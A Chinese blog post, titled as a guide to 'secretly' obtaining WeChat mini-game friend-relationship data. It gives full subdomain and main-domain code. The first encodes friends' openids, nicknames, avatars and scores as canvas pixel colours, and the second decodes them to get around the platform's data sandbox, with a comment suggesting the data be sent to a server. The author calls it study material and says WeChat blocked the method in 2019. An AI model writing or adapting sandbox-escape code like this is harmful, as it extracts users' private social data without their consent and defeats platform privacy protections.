天天看点

教你“偷偷”的获取微信小游戏好友关系链数据

好友是是很多游戏都有的功能,原因在于好友玩法可以提升用户间的互动性,增加产品和用户的黏性、对提升留存率有重要帮助。很多游戏策划和产品经理都喜欢在游戏中加入这个设定,在腾讯开发平台、空间玩吧平台也都提供获取QQ好友关系链的API,供开发者开发更丰富更好玩的游戏产品。

但是,微信平台基于用户数据隐私性的考虑,并不提供直接的api来获取好友关系链。而是设计了一套开放数据域的api机制来供开发者使用,游戏“主域”内不能直接获取好友排行榜数据,而是借助“子域”来呈现排行榜,“子域”无法和服务器通信,也无法传递数据给“主域”。关于这部分基础知识请见微信关系数据链来了解。

本文将要分享的是通过技术技巧教你“偷偷”的获取微信小游戏好友关系链数据

核心知识:

把”子域“中获取到的好友关系链字符串数据作为一个个像素色值绘制在在”子域“画布上,然后在”主域“内逐个像素读取再转化为字符串数据。

子域核心代码如下:

//上报初始数据,这样别的好友请求好友数据的时候就能看到你了
if(wx.setUserCloudStorage){
	var value2 = Date.parse(new Date()).toString() + '_' + parseInt(Math.random() * 10000);
	wx.setUserCloudStorage({ KVDataList: [{ key: "localid", value: value2 }] });
}

function beginCall(data) {
  let ctx = sharedCanvas.getContext("2d");
  ctx.clearRect(0, 0, sharedCanvas.width, sharedCanvas.height);
  var _dataStr = JSON.stringify(data)+":";
  for (let i = 0; i < _dataStr.length; i++) {
    let num = _dataStr.charCodeAt(i);
    let str = ("00000000" + num.toString(2)).slice(-9);
    for (let k = 0; k < 3; k++) {
      var r = Number(str.charAt(k * 3)) * 255;
      var g = Number(str.charAt(k * 3 + 1)) * 255;
      var b = Number(str.charAt(k * 3 + 2)) * 255;
      let i1 = i * 3 + k;
      var x = (i1 % sharedCanvas.width);
      var y = Math.floor(i1 / sharedCanvas.width);
      ctx.fillStyle = "rgb(" + r + "," + g + "," + b + ")";
      ctx.fillRect(x, y, 1, 1);
    }
  }
}
function escapeCode(obj,){
  if ("KVDataList" in obj){
    for (let i = 0; i < obj.KVDataList.length;i++) {
	  obj[obj.KVDataList[i].key] = obj.KVDataList[i].value;
    }
	delete obj.KVDataList;
 }
 //这里可以根据业务加逻辑,处理字段,减少数据量,加快数据处理速度
  if("nickname" in obj) {
    obj.nick = encodeURIComponent(obj.nickname);
	delete obj.nickname;
  }
}
function drawSaveFun(mainData, fun){
	wx.getFriendCloudStorage({
	  keyList: mainData.keys,
	  success: (res2) => {
		let list1 = res2.data;
		let openids = mainData.openids || {};
		for(let i = 0;i<list1.length;i++){
		  let have = openids[ list1[i].openid ];
		  escapeCode(list1[i]);
		}
		beginCall({isOK:true, data: list1});
	  },
	  fail: (res) => {
		beginCall({isOK:false, fail: res});
	  }
	})
}
           

主域核心代码如下:

class WXDecodeOpenData
{
    public static init(){
        if(DEBUG) return;
        if(!window["wx"] || !window["wx"].getOpenDataContext) return;

        let time = egret.getTimer();
        WXDecodeOpenData.drawSaveData((resdata:any)=>{
            //  console.log("resdata", resdata);
           
            let myObj;
            var kk = "score";
            let totalGroup = [];
            for(var i = 0; i < resdata.length; i++){
                //{"openid":"o9FSW5NhY05kUwqWNdOumWW3cNlk","nick":"eternity","avatarUrl":"https://wx.qlogo.cn/","score":"49904"}
                var item = resdata[i];
                // item.type = kk;
                item.level = item.orderindex  = Number(item[kk]);
                totalGroup.push(item);
            }
            ArrayUtil.sortByField(totalGroup, ["level","orderindex"], [1,0]);//对数据数据排序
            for (let i = 0; i < totalGroup.length; i++) {
                totalGroup[i].index = (i+1);
            }

           //此处可以添加其他逻辑,比如保存到服务端,客户端各种业务
           
        }, (errdata)=>{
            //数据读取异常,做好兼容
        });
    }

    private static isRuning = false;
    private static drawSaveData(success:(any)=>void,fail:(any)=>void):egret.Bitmap
    {
        if(this.isRuning) return null;
        this.isRuning = true;
        platform.openDataContext.postMessage({isDisplay:true, command:"drawSaveData", keys:["score"]});

        let bb = <egret.Bitmap>platform.openDataContext.createDisplayObject();
        let bmp = new egret.Bitmap(bb.texture);
        let tex = new egret.RenderTexture();
        egret.Tween.get(this,{loop:true}).wait(100).call(this.test,this,[bmp,tex,success,fail,true]);
        return bmp;
    }
    private static test(bmp:egret.Bitmap,tex:egret.RenderTexture,success:(any)=>void,fail:(any)=>void,isfriend:boolean)
    {
        tex.drawToTexture(bmp,new egret.Rectangle(0,0,3,3));
        let a = "";
        for(var k = 0;k<3;k++)
        {
            let arr = tex.getPixel32(k,2);
            for(let j = 0;j<3;j++) a += Number(arr[j] > 127);
        }
        let str = String.fromCharCode(parseInt(a,2));
        if(str == "{")
        {
            tex.drawToTexture(bmp,new egret.Rectangle(0,0,bmp.width,bmp.height));
            let i = 0;
            let codeStr = "";
            let _s = "";
            while(true)
            {
                let a = "";
                for(var k = 0;k<3;k++)
                {
                    let i1 = i*3+k;
                    let x = (i1%bmp.width);
                    let y = Math.floor(i1/bmp.width);
                    let arr = tex.getPixel32(x,tex.textureHeight-y-1);
                    for(let j = 0;j<3;j++) a += Number(arr[j] > 127);
                }
                let s = String.fromCharCode(parseInt(a,2));
                if(s == ":" && _s == "}") break;
                codeStr += s;
                _s = s;
                i++;
            }
            tex.dispose();
            egret.Tween.removeTweens(this);
            platform.openDataContext.postMessage({type:"clear"});
            this.isRuning = false;

            let obj = JSON.parse(codeStr); //{isOK:true, data:[]}
            if(obj.isOK)
            {
                if(isfriend && "data" in obj)
                {
                    obj.data.forEach(element => {
                        if(element.nick) element.nick = decodeURIComponent(element.nick);
                    });
                }
                delete obj.isOK;
                if(success) success(obj.data);
            }else
            {
                delete obj.isOK;
                if(fail) fail(obj);
            }
        }
    }
}
           

特别说明:本文只是做技术学习,并不是鼓励开发者绕开微信小游戏规范,作者十分反对各种平台和开发者利用和传播用户的隐私数据。

补充说明:微信在2019年3月份发布的游戏基础库已经针对开放数据域获取像素的方法进行了屏蔽,本文章介绍的方法已经失效。

继续阅读